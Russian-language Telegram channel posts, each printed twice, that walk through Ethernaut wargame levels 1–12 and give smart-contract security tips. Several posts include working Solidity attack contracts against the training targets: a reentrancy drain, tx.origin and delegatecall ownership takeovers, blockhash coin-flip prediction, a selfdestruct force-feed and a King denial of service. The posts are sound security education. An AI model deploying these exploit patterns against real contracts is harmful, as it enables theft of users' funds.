Новый сайт для поиска работы
Сейчас встретил новый сайт, где размещаются вакансии в web3. И не только для разработчиков.
https://aworker.io/
Он на днях был на Product Hunt, поэтому в ближайшее время, по крайней мере, владельцы будут следить за актуальностью.
Попробуйте, может кому зайдет.
#работа
Сейчас встретил новый сайт, где размещаются вакансии в web3. И не только для разработчиков.
https://aworker.io/
Он на днях был на Product Hunt, поэтому в ближайшее время, по крайней мере, владельцы будут следить за актуальностью.
Попробуйте, может кому зайдет.
#работа
Aworker
Web3 Jobs: Blockchain, NFT and Crypto Jobs
Find remote jobs at companies that work in blockchain, crypto, DeFi, NFT, smart contracts space, remote jobs part time, jobs working from home, and more. Aworker is a web3 job board since 2018.
👍3
Временно курс на безопасность
Всю неделю был в дороге, рассылал резюме и подучивал react, поэтому постов было мало на канале. На следующей недел мы врнемся в строй.
Также хочу сказать, что временно, на пару недель, я буду делать посты в сфере безопасности и аудита смарт контрактов. Все дело в том, что мне приглянулась эта профессия, и я бы очень хотел попробовать получить работу именно тут.
Что значит "посты про безопасность и аудит"?
Во-первых, я постараюсь разобраться с программами для аудита более детально. Остановиться на каждой из них и рассказать, как они работают.
Во-вторых, разобрать примеры с ethernaut и Damn Vulnerable DeFi.
В-третьих, поискать информацию по последним взломам, и понять как они происходили.
Думаю, это займет недели две-три. Вы все также можете предлагать темы для разбора в комментариях или чате. Я делаю небольшой roadmap и, так или иначе, мы разберем все запросы.
Надеюсь, новый курс будет вам интересен также как и мне.
Приятного дня и легкого обучения!
Всю неделю был в дороге, рассылал резюме и подучивал react, поэтому постов было мало на канале. На следующей недел мы врнемся в строй.
Также хочу сказать, что временно, на пару недель, я буду делать посты в сфере безопасности и аудита смарт контрактов. Все дело в том, что мне приглянулась эта профессия, и я бы очень хотел попробовать получить работу именно тут.
Что значит "посты про безопасность и аудит"?
Во-первых, я постараюсь разобраться с программами для аудита более детально. Остановиться на каждой из них и рассказать, как они работают.
Во-вторых, разобрать примеры с ethernaut и Damn Vulnerable DeFi.
В-третьих, поискать информацию по последним взломам, и понять как они происходили.
Думаю, это займет недели две-три. Вы все также можете предлагать темы для разбора в комментариях или чате. Я делаю небольшой roadmap и, так или иначе, мы разберем все запросы.
Надеюсь, новый курс будет вам интересен также как и мне.
Приятного дня и легкого обучения!
👍5
Планы на неделю
Привет всем! Начинаем неделю обучения безопасности.
Прежде всего, хочу сказать спасибо участнику Dingo, за картинку roadmap по темам аудита смарт контрактов, и Nekto - за ссылку, где можно эту картинку разглядеть в деталях и перейти на соответствующие проекты и статьи.
Посмотреть roadmap можно тут.
При том, что некоторая часть оттуда уже довольно хорошо освещена на канале, все же там есть классные статьи, которые стоят того, чтобы их разобрать.
Итак, что же будет на этой неделе?
Так как материала много и нужно хорошо его освоить, мы будем действовать следующим образом.
Каждый день мы будем разбирать несколько задач ethernaut (1-5 в зависимости от сложности), а также я буду делать несколько постов с заметками по безопасности, которые найду в статьях.
Другими словами, сначала мы пройдем ethernaut, потом DVD, потом будет разбирать другие известные уязвимости (в registry и новостях), затем, я надеюсь, что смогу разобраться с программами аудита и рассказать о них. В конце, посмотрим, чего не хватило, и дополним программу. Вместе с этим, как я уже написал, будут заметки по безопасности из статей.
В день будет выходить около 8 постов, поэтому, если напрягает, то сразу ставьте на беззвучный.
Начнем с ethernaut.
Приятного дня и легкого обучения!
Привет всем! Начинаем неделю обучения безопасности.
Прежде всего, хочу сказать спасибо участнику Dingo, за картинку roadmap по темам аудита смарт контрактов, и Nekto - за ссылку, где можно эту картинку разглядеть в деталях и перейти на соответствующие проекты и статьи.
Посмотреть roadmap можно тут.
При том, что некоторая часть оттуда уже довольно хорошо освещена на канале, все же там есть классные статьи, которые стоят того, чтобы их разобрать.
Итак, что же будет на этой неделе?
Так как материала много и нужно хорошо его освоить, мы будем действовать следующим образом.
Каждый день мы будем разбирать несколько задач ethernaut (1-5 в зависимости от сложности), а также я буду делать несколько постов с заметками по безопасности, которые найду в статьях.
Другими словами, сначала мы пройдем ethernaut, потом DVD, потом будет разбирать другие известные уязвимости (в registry и новостях), затем, я надеюсь, что смогу разобраться с программами аудита и рассказать о них. В конце, посмотрим, чего не хватило, и дополним программу. Вместе с этим, как я уже написал, будут заметки по безопасности из статей.
В день будет выходить около 8 постов, поэтому, если напрягает, то сразу ставьте на беззвучный.
Начнем с ethernaut.
Приятного дня и легкого обучения!
👍4
Немного о работе с Ethernaut
Думаю, если вы готовы решать задачи с Ethernaut, то вероятнее всего уже имели дело с Solidity и понимаете что к чему. Поэтому я не буду расписывать, как подключаться, куда кликать и т.д.
В посте будет задание, ссылка на контракт и разбор решения.
Вообще, я долго думал, как решать эти задачи: сидеть над каждой и пытаться решить ее сам на 100% или посмотреть разборы в сети. Я выбрал второй вариант, и вот почему.
Да, первый вариант лучше, так как, "дойдя своим умом" до решения, ты лучше усвоишь материал. При этом это займет намного больше времени.
В случае второго варианта, это пройдет быстрее. Более того, в ethernaut не самые сложные задачи, поэтому сейчас важнее научиться читать контракты и узнать, куда смотреть на потенциальные уязвимости.
Это, как в строительстве или ремонте, при приеме работ. Вроде кажется, что все ок, и найти слабые места можно, только досконально изучая каждый сантиметр объекта. А можно заранее узнать, на что обратить внимание, и уже прицельно ходить по объекту.
Надеюсь, вы поняли мою идею. С ethernaut мы научимся прицельно смотреть на код, а с остальными задачами в других проектах - уже практиковаться самим.
Думаю, если вы готовы решать задачи с Ethernaut, то вероятнее всего уже имели дело с Solidity и понимаете что к чему. Поэтому я не буду расписывать, как подключаться, куда кликать и т.д.
В посте будет задание, ссылка на контракт и разбор решения.
Вообще, я долго думал, как решать эти задачи: сидеть над каждой и пытаться решить ее сам на 100% или посмотреть разборы в сети. Я выбрал второй вариант, и вот почему.
Да, первый вариант лучше, так как, "дойдя своим умом" до решения, ты лучше усвоишь материал. При этом это займет намного больше времени.
В случае второго варианта, это пройдет быстрее. Более того, в ethernaut не самые сложные задачи, поэтому сейчас важнее научиться читать контракты и узнать, куда смотреть на потенциальные уязвимости.
Это, как в строительстве или ремонте, при приеме работ. Вроде кажется, что все ок, и найти слабые места можно, только досконально изучая каждый сантиметр объекта. А можно заранее узнать, на что обратить внимание, и уже прицельно ходить по объекту.
Надеюсь, вы поняли мою идею. С ethernaut мы научимся прицельно смотреть на код, а с остальными задачами в других проектах - уже практиковаться самим.
👍1
Ethernaut. Задача 1. Fallback
В этой задаче нам нужно забрать права ownership и обнулить баланс до 0.
Ссылка на задачу.
Решение
Для решения задачи я переношу код в Ремикс, чтобы было удобнее разворачивать его и проводить транзакции.
В чем суть?
В конструкторе определяется владелец контракта и ему начисляется 1000 Эфира. Далее есть функция contribute(), которая позволяет любому участнику делать взносы больше 0.001 Эфира, и если сумма взноса превышает сумму владельца, то права ownership переходят совершившему взнос участнику.
Также есть fallback функция receive(), которая говорит принимает деньги, если они просто пришли на контракт. Там проверяется, есть ли такой участник в системе (вносил ли он ранее деньги) и сумма, которая должна быть больше 0. Если условия прошли, то участнику автоматически передаются права ownership.
Поэтому, чтобы решить задачу нам нужно, чтобы эти условия в receive() были выполнены: мы внесли сумму ранее и прислали деньги через fallback потом.
В Ремикс нужно выбрать другой адрес пользователя, вызвать функцию contribute(), чтобы появилась запись о нас в системе, а затем прислать деньги через Transact.
Таким образом ownership перейдет к нам и можно будет спокойно вызвать функцию withdraw(), чтобы получить все деньги.
#ethernaut
В этой задаче нам нужно забрать права ownership и обнулить баланс до 0.
Ссылка на задачу.
Решение
Для решения задачи я переношу код в Ремикс, чтобы было удобнее разворачивать его и проводить транзакции.
В чем суть?
В конструкторе определяется владелец контракта и ему начисляется 1000 Эфира. Далее есть функция contribute(), которая позволяет любому участнику делать взносы больше 0.001 Эфира, и если сумма взноса превышает сумму владельца, то права ownership переходят совершившему взнос участнику.
Также есть fallback функция receive(), которая говорит принимает деньги, если они просто пришли на контракт. Там проверяется, есть ли такой участник в системе (вносил ли он ранее деньги) и сумма, которая должна быть больше 0. Если условия прошли, то участнику автоматически передаются права ownership.
Поэтому, чтобы решить задачу нам нужно, чтобы эти условия в receive() были выполнены: мы внесли сумму ранее и прислали деньги через fallback потом.
В Ремикс нужно выбрать другой адрес пользователя, вызвать функцию contribute(), чтобы появилась запись о нас в системе, а затем прислать деньги через Transact.
Таким образом ownership перейдет к нам и можно будет спокойно вызвать функцию withdraw(), чтобы получить все деньги.
#ethernaut
👍3
Ethernaut. Задача 2. Fallout
В этой задаче нам нужно забрать права ownership.
Ссылка на задачу
Задача не актуальная после выхода версии Solidity 0.8.
В чем суть?
Ранее, до версии 0.8.0, не существовало функции constructor, и она заменялась другой функцией с именем, как у контракта.
В данной задаче в функции выполняющей роль конструктора есть опечатка, поэтому вызвав эту функцию, вы автоматически становились владельцем.
#ethernaut
В этой задаче нам нужно забрать права ownership.
Ссылка на задачу
Задача не актуальная после выхода версии Solidity 0.8.
В чем суть?
Ранее, до версии 0.8.0, не существовало функции constructor, и она заменялась другой функцией с именем, как у контракта.
В данной задаче в функции выполняющей роль конструктора есть опечатка, поэтому вызвав эту функцию, вы автоматически становились владельцем.
#ethernaut
👍2
Ethernaut. Задача 3. Coin flip
В этой задаче нам нужно угадать сторону монетки 10 раз подряд.
Ссылка на задачу
В чем суть?
Казалось бы, предугадать падение монетки на какую-либо сторону, является задачей с вероятностью 50/50, особенно учитывая рандомное число в Factor.
Однако в Solidity большие проблемы со случайными числами, особенно теми, которые основаны на block.number.
Мы можем написать свой контракт, который будет предугадывать сторону. Как раз за счет block.number и проведения транзакции в одном блоке, мы сможем предсказать сторону.
Простой контракт может выглядеть так:
contract Hack {
using SafeMath for uint256;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function hack (CoinFlip _flip) external{
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
_flip.flip(side);
}
}
В общем, никогда не создавайте случайные числа, используя средства Solidity и block.number. Для этого лучше подключать сторонние сервисы, типа Chainlink VRF.
#ethernaut
В этой задаче нам нужно угадать сторону монетки 10 раз подряд.
Ссылка на задачу
В чем суть?
Казалось бы, предугадать падение монетки на какую-либо сторону, является задачей с вероятностью 50/50, особенно учитывая рандомное число в Factor.
Однако в Solidity большие проблемы со случайными числами, особенно теми, которые основаны на block.number.
Мы можем написать свой контракт, который будет предугадывать сторону. Как раз за счет block.number и проведения транзакции в одном блоке, мы сможем предсказать сторону.
Простой контракт может выглядеть так:
contract Hack {
using SafeMath for uint256;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function hack (CoinFlip _flip) external{
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
_flip.flip(side);
}
}
В общем, никогда не создавайте случайные числа, используя средства Solidity и block.number. Для этого лучше подключать сторонние сервисы, типа Chainlink VRF.
#ethernaut
👍2
Ethernaut. Задача 4. Telephone
В этой задаче нам нужно стать владельцем контракта.
Ссылка на задачу
В чем суть?
tx. origin - это такая штука, которую никогда не стоит использовать в своих смарт контрактах, если не понимаешь зачем. А лучше не использовать ее, даже если понимаешь зачем.
В данной задаче нам также нужно создать промежуточный контракт и пробросить наш личный адрес.
contract Hack {
function hack (Telephone _tel) external {
_tel.changeOwner(0x617F2E2fD72FD9D5503197092aC168c91465E7f2);
}
}
Получает так: мы, являемся tx.origin, через наш контракт, который является msg.sender, отправляем запрос в Telephone и вызываем функцию changeOwner(). И так как функция вызывается не нами (нашим адресом) напрямую, а нашим контрактом, то мы становимся новым владельцем.
tx.origin отстой - не используй его. Я встречал информацию, что в последующих версиях Solidity tx будет упразднен.
#ethernaut
В этой задаче нам нужно стать владельцем контракта.
Ссылка на задачу
В чем суть?
tx. origin - это такая штука, которую никогда не стоит использовать в своих смарт контрактах, если не понимаешь зачем. А лучше не использовать ее, даже если понимаешь зачем.
В данной задаче нам также нужно создать промежуточный контракт и пробросить наш личный адрес.
contract Hack {
function hack (Telephone _tel) external {
_tel.changeOwner(0x617F2E2fD72FD9D5503197092aC168c91465E7f2);
}
}
Получает так: мы, являемся tx.origin, через наш контракт, который является msg.sender, отправляем запрос в Telephone и вызываем функцию changeOwner(). И так как функция вызывается не нами (нашим адресом) напрямую, а нашим контрактом, то мы становимся новым владельцем.
tx.origin отстой - не используй его. Я встречал информацию, что в последующих версиях Solidity tx будет упразднен.
#ethernaut
👍1
Ethernaut. Задача 5. Token
В этой задаче нам нужно вывести с контракта как можно больше токенов.
Ссылка на задачу
В чем суть?
Задача также не актуальна для версии старше 0.8, так как тут уже есть защита от overflow и underflow.
Проблема была в том, что попытавшись перевести больше 20 токенов, которые есть на счету, система переходила в overflow и сумма получался перевод около ~250 токенов. Однако в 0.8 теперь такая операция будет выдавать ошибку, если нет unchecked.
#ethernaut
В этой задаче нам нужно вывести с контракта как можно больше токенов.
Ссылка на задачу
В чем суть?
Задача также не актуальна для версии старше 0.8, так как тут уже есть защита от overflow и underflow.
Проблема была в том, что попытавшись перевести больше 20 токенов, которые есть на счету, система переходила в overflow и сумма получался перевод около ~250 токенов. Однако в 0.8 теперь такая операция будет выдавать ошибку, если нет unchecked.
#ethernaut
👍2
Подсказки по безопасности - 1
Постепенно я буду разбирать файлы из приведенного выше roadmap и делать посты с подсказками по безопасности.
В данных статьях, файлах и рекомендациях, часто встречаются разборы конкретных контрактов и их функций. Сидеть над каждым отдельным случаем не вижу смысла, так как придется изучать и сам контракт и логику выполнения транзакций. Это будет очень затратно по времени и не факт, что пробема останется актуальной для других контрактов. Поэтому я буду выкладывать общие рекомендации по безопасности, которые могут пригодиться в работе.
Подсказка 1
Токены, у которых decimals больше 18, могут стать проблемой.
Считается, что максимальное значение decimals любого токена равен 18. Однако есть другие токены, типа YAMv2, у которых decimals равен 24. Это может привести к проблемам с выполнениями расчетов в функциях. Поэтому нужно проверять, чтобы контракт смог обрабатывать не стандартные значения decimals.
#security #tip #st
Постепенно я буду разбирать файлы из приведенного выше roadmap и делать посты с подсказками по безопасности.
В данных статьях, файлах и рекомендациях, часто встречаются разборы конкретных контрактов и их функций. Сидеть над каждым отдельным случаем не вижу смысла, так как придется изучать и сам контракт и логику выполнения транзакций. Это будет очень затратно по времени и не факт, что пробема останется актуальной для других контрактов. Поэтому я буду выкладывать общие рекомендации по безопасности, которые могут пригодиться в работе.
Подсказка 1
Токены, у которых decimals больше 18, могут стать проблемой.
Считается, что максимальное значение decimals любого токена равен 18. Однако есть другие токены, типа YAMv2, у которых decimals равен 24. Это может привести к проблемам с выполнениями расчетов в функциях. Поэтому нужно проверять, чтобы контракт смог обрабатывать не стандартные значения decimals.
#security #tip #st
👍1
Ethernaut. Задача 6. Delegation
В этой задаче нам нужно стать владельцем контракта.
Ссылка на задачу
В чем суть?
Тут нужно знать о работе delegatecall, fallback и низкоуровневых вызовах, и тогда задача кажется простой.
Функция fallback вызывается тогда, когда с другого контракта пришла транзакция, которая пытается вызвать функцию, которой нет в данном контракте. А delegatecall выполняет функцию стороннего контракта в рамках своего же контракта. Звучит запутано, но на практике все проще:
Мы создаем свой хакерский контракт, через низкоуровневый вызов пытаемся запустить функцию pwn() в Delegation. Но так как там нет такой функции, вызов попадает в fallback, и уже там, в рамках delegatecall и вызывается pwn() из Delegate , которая отдает нам права владельца.
Самый простой хакерский контракт может выглядеть так:
contract Hack {
function hack (address _deleg) external {
_deleg.call(abi.encodeWithSignature("pwn()"));
}
}
Я уже писал ранее и повторюсь: с delegatecall нужно быть очень и очень осторожным! Используйте ее только если наверняка знаете, как она будет работать!
#ethernaut
В этой задаче нам нужно стать владельцем контракта.
Ссылка на задачу
В чем суть?
Тут нужно знать о работе delegatecall, fallback и низкоуровневых вызовах, и тогда задача кажется простой.
Функция fallback вызывается тогда, когда с другого контракта пришла транзакция, которая пытается вызвать функцию, которой нет в данном контракте. А delegatecall выполняет функцию стороннего контракта в рамках своего же контракта. Звучит запутано, но на практике все проще:
Мы создаем свой хакерский контракт, через низкоуровневый вызов пытаемся запустить функцию pwn() в Delegation. Но так как там нет такой функции, вызов попадает в fallback, и уже там, в рамках delegatecall и вызывается pwn() из Delegate , которая отдает нам права владельца.
Самый простой хакерский контракт может выглядеть так:
contract Hack {
function hack (address _deleg) external {
_deleg.call(abi.encodeWithSignature("pwn()"));
}
}
Я уже писал ранее и повторюсь: с delegatecall нужно быть очень и очень осторожным! Используйте ее только если наверняка знаете, как она будет работать!
#ethernaut
👍1
Ethernaut. Задача 7. Force
В этой задаче нам нужно пополнить баланс контракта.
Ссылка на задачу
В чем суть?
Даже если в контракте нет никаких функций для приема денег или вообще ничего нет, на него можно прислать деньги двумя способами:
1) Это перечисление награды за майнинг;
2) Вызов selfdestruct;
Вот простой пример контракта хакера:
contract Hack {
function destroy (address payable destr) external {
selfdestruct(destr);
}
receive() external payable{}
}
Он вызывает у себя функцию уничтожения, которая пересылает все деньги на адрес указанного контракта. receive() нужна для того чтобы изначально пополнить баланс нашего контракта.
Вообще пример с selfdestruct является одним из самых популярных методов атаки - Force feeding, о которой можно прочитать в предыдущих постах на канале.
#ethernaut
В этой задаче нам нужно пополнить баланс контракта.
Ссылка на задачу
В чем суть?
Даже если в контракте нет никаких функций для приема денег или вообще ничего нет, на него можно прислать деньги двумя способами:
1) Это перечисление награды за майнинг;
2) Вызов selfdestruct;
Вот простой пример контракта хакера:
contract Hack {
function destroy (address payable destr) external {
selfdestruct(destr);
}
receive() external payable{}
}
Он вызывает у себя функцию уничтожения, которая пересылает все деньги на адрес указанного контракта. receive() нужна для того чтобы изначально пополнить баланс нашего контракта.
Вообще пример с selfdestruct является одним из самых популярных методов атаки - Force feeding, о которой можно прочитать в предыдущих постах на канале.
#ethernaut
👍2
Ethernaut. Задача 8. Vault
В этой задаче нам нужно открыть сейф.
Ссылка на задачу
В чем суть?
На самом деле эта задача заставила меня посидеть в поиске дольше остальных, и вот почему.
Да, я знаю, что любые private переменные на самом деле можно прочитать. Для этого стоит развернуть его в локальной сети, например в hardaht, и вызвать метод ether.provider.getStorageAt(address, slot), но меня заинтересовал вопрос, а можно ли напрямую из контракта считать слоты памяти в другом контракте, например, через assembly.
Ответ, нет. Напрямую это сделать нельзя. По крайней мере даже средне сложным способом. Я такой вариант нигде не нашел. Конечно, всегда есть вероятность, что кто-то знает язык настолько хорошо, что может считать память каким-то неизвестным способом, но для обычных людей проще использовать ethers.js.
Итак, вам нужно задеплоить контракт в тестовую сеть, передав аргументы в конструктор через [hre.ethers.utils.formatBytes32String('yourPassword')], а потом в тестах или консоли вызвать метод getStorageAt() на второй слот, так как переменная private password лежит именно там.
#ethernaut
В этой задаче нам нужно открыть сейф.
Ссылка на задачу
В чем суть?
На самом деле эта задача заставила меня посидеть в поиске дольше остальных, и вот почему.
Да, я знаю, что любые private переменные на самом деле можно прочитать. Для этого стоит развернуть его в локальной сети, например в hardaht, и вызвать метод ether.provider.getStorageAt(address, slot), но меня заинтересовал вопрос, а можно ли напрямую из контракта считать слоты памяти в другом контракте, например, через assembly.
Ответ, нет. Напрямую это сделать нельзя. По крайней мере даже средне сложным способом. Я такой вариант нигде не нашел. Конечно, всегда есть вероятность, что кто-то знает язык настолько хорошо, что может считать память каким-то неизвестным способом, но для обычных людей проще использовать ethers.js.
Итак, вам нужно задеплоить контракт в тестовую сеть, передав аргументы в конструктор через [hre.ethers.utils.formatBytes32String('yourPassword')], а потом в тестах или консоли вызвать метод getStorageAt() на второй слот, так как переменная private password лежит именно там.
#ethernaut
👍2
Ethernaut. Задача 9. King
В этой задаче нам предлагают, как я понял, сломать логику игры, чтобы мы остались последним королем.
Ссылка на задачу
В чем суть?
Здесь секрет кроется в king.transfer(msg.value), т.е. в одной транзакции отправляются деньги королю, и только потом идет обновление переменных короля и баланса.
Сделав так, чтобы можно было отправить деньги на контракт, но не получить выигрыш, мы фактически заблокируем его.
Решением было бы разделить эту логику и позволить текущему королю выводить деньги вручную.
Простой код для этого:
contract Hack {
function hack( address _king) external payable {
_king.call{value:msg.value}("");
}
}
Я думал, что можно решить эту задачу с selfdestruct, как в одном из примеров выше, но это не сработало. Деньги то не балансе контракта King появились, а вот переменная prize не обновилась. А все потому, что мы закинули деньги без вызова каких-либо функций, поэтому receive не сработала.
#ethernaut
В этой задаче нам предлагают, как я понял, сломать логику игры, чтобы мы остались последним королем.
Ссылка на задачу
В чем суть?
Здесь секрет кроется в king.transfer(msg.value), т.е. в одной транзакции отправляются деньги королю, и только потом идет обновление переменных короля и баланса.
Сделав так, чтобы можно было отправить деньги на контракт, но не получить выигрыш, мы фактически заблокируем его.
Решением было бы разделить эту логику и позволить текущему королю выводить деньги вручную.
Простой код для этого:
contract Hack {
function hack( address _king) external payable {
_king.call{value:msg.value}("");
}
}
Я думал, что можно решить эту задачу с selfdestruct, как в одном из примеров выше, но это не сработало. Деньги то не балансе контракта King появились, а вот переменная prize не обновилась. А все потому, что мы закинули деньги без вызова каких-либо функций, поэтому receive не сработала.
#ethernaut
Ethernaut. Задача 10. Reentrancy
В этой задаче нам предлагают украсть все деньги с контракта.
Ссылка на задачу
В чем суть?
С Reentrancy мы знакомы уже очень давно. Обнаружить его в контракте достаточно просто: нужно посмотреть в какой момент обнуляется баланс снимающего деньги. Если он идет после отправки денег, то это и есть потенциальная уязвимость, как в данном примере в функции withdraw.
Опять же привожу пример кода, который сработал у меня:
contract Hack {
uint constant BID = 0.1 ether;
Reentrance hack;
constructor(address payable _hack) {
hack = Reentrance(_hack);
}
function donateTo() external payable{
address(hack).call{value: msg.value}(abi.encodeWithSignature("donate(address)", address(this)));
}
function attack() public {
address(hack).call(abi.encodeWithSignature("withdraw(uint256)", BID));
}
receive() external payable {
if(address(hack).balance >= BID) {
attack();
}
}
}
В сети я встретил и другие примеры, но все они сходились к одному: сделать первоначальный взнос, а потом через цикл снять деньги с контракта.
Reentrancy одна из самых популярных атак в блокчейне, поэтому важно следить за своим кодом и обнулять баланс прежде, чем отправлять его пользователю.
#ethernaut
В этой задаче нам предлагают украсть все деньги с контракта.
Ссылка на задачу
В чем суть?
С Reentrancy мы знакомы уже очень давно. Обнаружить его в контракте достаточно просто: нужно посмотреть в какой момент обнуляется баланс снимающего деньги. Если он идет после отправки денег, то это и есть потенциальная уязвимость, как в данном примере в функции withdraw.
Опять же привожу пример кода, который сработал у меня:
contract Hack {
uint constant BID = 0.1 ether;
Reentrance hack;
constructor(address payable _hack) {
hack = Reentrance(_hack);
}
function donateTo() external payable{
address(hack).call{value: msg.value}(abi.encodeWithSignature("donate(address)", address(this)));
}
function attack() public {
address(hack).call(abi.encodeWithSignature("withdraw(uint256)", BID));
}
receive() external payable {
if(address(hack).balance >= BID) {
attack();
}
}
}
В сети я встретил и другие примеры, но все они сходились к одному: сделать первоначальный взнос, а потом через цикл снять деньги с контракта.
Reentrancy одна из самых популярных атак в блокчейне, поэтому важно следить за своим кодом и обнулять баланс прежде, чем отправлять его пользователю.
#ethernaut
👍2
Подсказки по безопасности - 2
Неконтролируемое значение return в функциях transfer и transferFrom.
Выполнение функций ERC20 не всегда последовательное. Некоторые исполнения transfer / transferFrom могут вернуть false на неуспешную транзакцию вместо отката (revert). Поэтому его обязательно нужно обрабатывать в require().
Также нужно следить и за true в return, как это рекомендует сам стандарт. В некоторых случаях, вызов transfer() будет revert, даже если транзакция пройдет успешно. Это случается потому, что Solidity проверяет RETURNDATASIZE на соответствие интерфейсу ERC20.
Рекомендация. Проверяйте значение return / revert на 0 / false / true или используйте SafeERC20 от OpenZeppelin.
#security #tip #st
Неконтролируемое значение return в функциях transfer и transferFrom.
Выполнение функций ERC20 не всегда последовательное. Некоторые исполнения transfer / transferFrom могут вернуть false на неуспешную транзакцию вместо отката (revert). Поэтому его обязательно нужно обрабатывать в require().
Также нужно следить и за true в return, как это рекомендует сам стандарт. В некоторых случаях, вызов transfer() будет revert, даже если транзакция пройдет успешно. Это случается потому, что Solidity проверяет RETURNDATASIZE на соответствие интерфейсу ERC20.
Рекомендация. Проверяйте значение return / revert на 0 / false / true или используйте SafeERC20 от OpenZeppelin.
#security #tip #st
👍1
Подсказки по безопасности - 3
Отсутствие процедуры проверки ввода значений.
В своих функциях желательно проверять, что:
- uint больше 0;
- uint имеет ограничения;
- int не может иметь отрицательное значение;
- длина массива должна совпадать, когда он передается как аргумент;
- адрес не должен быть 0х0;
#security #tip #st
Отсутствие процедуры проверки ввода значений.
В своих функциях желательно проверять, что:
- uint больше 0;
- uint имеет ограничения;
- int не может иметь отрицательное значение;
- длина массива должна совпадать, когда он передается как аргумент;
- адрес не должен быть 0х0;
#security #tip #st
Ethernaut. Задача 11. Elevator
В этой задаче нам предлагают достичь последнего этажа.
Ссылка на задачу
В чем суть?
Признаться честно, я вообще не понял ни сути этой задачи, ни цели обучения, ни решения. Поэтому решение для нее было просто взято из поиска.
contract Hack {
Elevator challenge;
constructor (address _challenge) public {
challenge = Elevator(_challenge);
}
uint256 timesCalled;
function attack() external payable {
challenge.goTo(0);
}
function isLastFloor(uint256 /* floor */) external returns (bool) {
timesCalled++;
if (timesCalled > 1) return true;
else return false;
}
}
Да, я посмотрел и другие решение, но все равно очень странная задача. Возможно, вернусь к ней еще раз немного позже.
!!! Комментарий от участника Nekto проливает свет на эту задачу:
Логика контракта (Elevator) рассчитывает, что этот контракт будет вызываться из контракта Building в котором есть частичка логики и эта логика (в Building) запрещает нам подняться на последний этаж в Elevator
Мы создаем другой контракт, похожий по интерфейсу на контракт Building и в поддельном контракте меняем логику, от которой зависит контракт Elevator и попадаем на последний этаж.
Короче не рассчитывайте на логику в других контрактах без дополнительных мер предосторожности.
#ethernaut
В этой задаче нам предлагают достичь последнего этажа.
Ссылка на задачу
В чем суть?
Признаться честно, я вообще не понял ни сути этой задачи, ни цели обучения, ни решения. Поэтому решение для нее было просто взято из поиска.
contract Hack {
Elevator challenge;
constructor (address _challenge) public {
challenge = Elevator(_challenge);
}
uint256 timesCalled;
function attack() external payable {
challenge.goTo(0);
}
function isLastFloor(uint256 /* floor */) external returns (bool) {
timesCalled++;
if (timesCalled > 1) return true;
else return false;
}
}
Да, я посмотрел и другие решение, но все равно очень странная задача. Возможно, вернусь к ней еще раз немного позже.
!!! Комментарий от участника Nekto проливает свет на эту задачу:
Логика контракта (Elevator) рассчитывает, что этот контракт будет вызываться из контракта Building в котором есть частичка логики и эта логика (в Building) запрещает нам подняться на последний этаж в Elevator
Мы создаем другой контракт, похожий по интерфейсу на контракт Building и в поддельном контракте меняем логику, от которой зависит контракт Elevator и попадаем на последний этаж.
Короче не рассчитывайте на логику в других контрактах без дополнительных мер предосторожности.
#ethernaut
👍1
Ethernaut. Задача 12. Privacy
В этой задаче нам нужно получить доступ к ключу в массиве data.
Ссылка на задачу
В чем суть?
Мне нравятся такие задачи на работу с памятью. Этот пример очень похож на один из предыдущих - Vault, но с большим количеством переменных.
Тут нужно знать несколько моментов о работе с памятью. Пройдемся по переменным в задаче.
bool public locked - булевы переменные в Solidity занимают весь слот памяти в 32 байта.
uint256 public ID - 256 и есть те же 32 байта, поэтому занимается еще один целый слот памяти.
Далее немного интереснее. Тут сразу три переменные (uint8 private flattening, uint8 private denomination, uint16 private awkwardness) занимают весь слот на 32 байта. Это происходит потому, что они идут друг за другом.
Если, например, один unit8 лежал бы где-нибудь после массива, то в слот поместились бы только один uin8 и uint16, которые находятся вместе. Поэтому при написании смарт контрактов, вам стоит обращать на это внимание и располагать небольшие переменные рядом друг с другом.
Затем идет нужный нам массив с фиксированной длиной bytes32[3] private data. Из функции unlock() нам становится понятно, что ключ лежит в последнем значении массива.
Если разбить все по слотам памяти, то получается:
bool public locked - 0 слот;
uint256 public ID - 1 слот;
uint8 private flattening, uint8 private denomination, uint16 private awkwardness - 2 слот;
1 элемент массива data - 3 слот;
2 элемент массива data - 4 слот;
3 элемент массива data - 5 слот;
А дальше, все как в примере с Vault: разворачиваем контракт в hardhat и достаем значение из 5 слота при помощи ethers.provider.getStorageAt().
#ethernaut
В этой задаче нам нужно получить доступ к ключу в массиве data.
Ссылка на задачу
В чем суть?
Мне нравятся такие задачи на работу с памятью. Этот пример очень похож на один из предыдущих - Vault, но с большим количеством переменных.
Тут нужно знать несколько моментов о работе с памятью. Пройдемся по переменным в задаче.
bool public locked - булевы переменные в Solidity занимают весь слот памяти в 32 байта.
uint256 public ID - 256 и есть те же 32 байта, поэтому занимается еще один целый слот памяти.
Далее немного интереснее. Тут сразу три переменные (uint8 private flattening, uint8 private denomination, uint16 private awkwardness) занимают весь слот на 32 байта. Это происходит потому, что они идут друг за другом.
Если, например, один unit8 лежал бы где-нибудь после массива, то в слот поместились бы только один uin8 и uint16, которые находятся вместе. Поэтому при написании смарт контрактов, вам стоит обращать на это внимание и располагать небольшие переменные рядом друг с другом.
Затем идет нужный нам массив с фиксированной длиной bytes32[3] private data. Из функции unlock() нам становится понятно, что ключ лежит в последнем значении массива.
Если разбить все по слотам памяти, то получается:
bool public locked - 0 слот;
uint256 public ID - 1 слот;
uint8 private flattening, uint8 private denomination, uint16 private awkwardness - 2 слот;
1 элемент массива data - 3 слот;
2 элемент массива data - 4 слот;
3 элемент массива data - 5 слот;
А дальше, все как в примере с Vault: разворачиваем контракт в hardhat и достаем значение из 5 слота при помощи ethers.provider.getStorageAt().
#ethernaut
👍1
Подсказки по безопасности - 4
Использовать фиксированные лимиты газа не рекомендуется.
Так как цена на газ постоянно меняется, особенно в период высокой волатильности криптовалют, лучше не указывать жесткие лимиты на газ в своем контракте.
В случае резкого повышения цены, есть большая вероятность, что транзакции не будут выполнены.
#security #tip #st
Использовать фиксированные лимиты газа не рекомендуется.
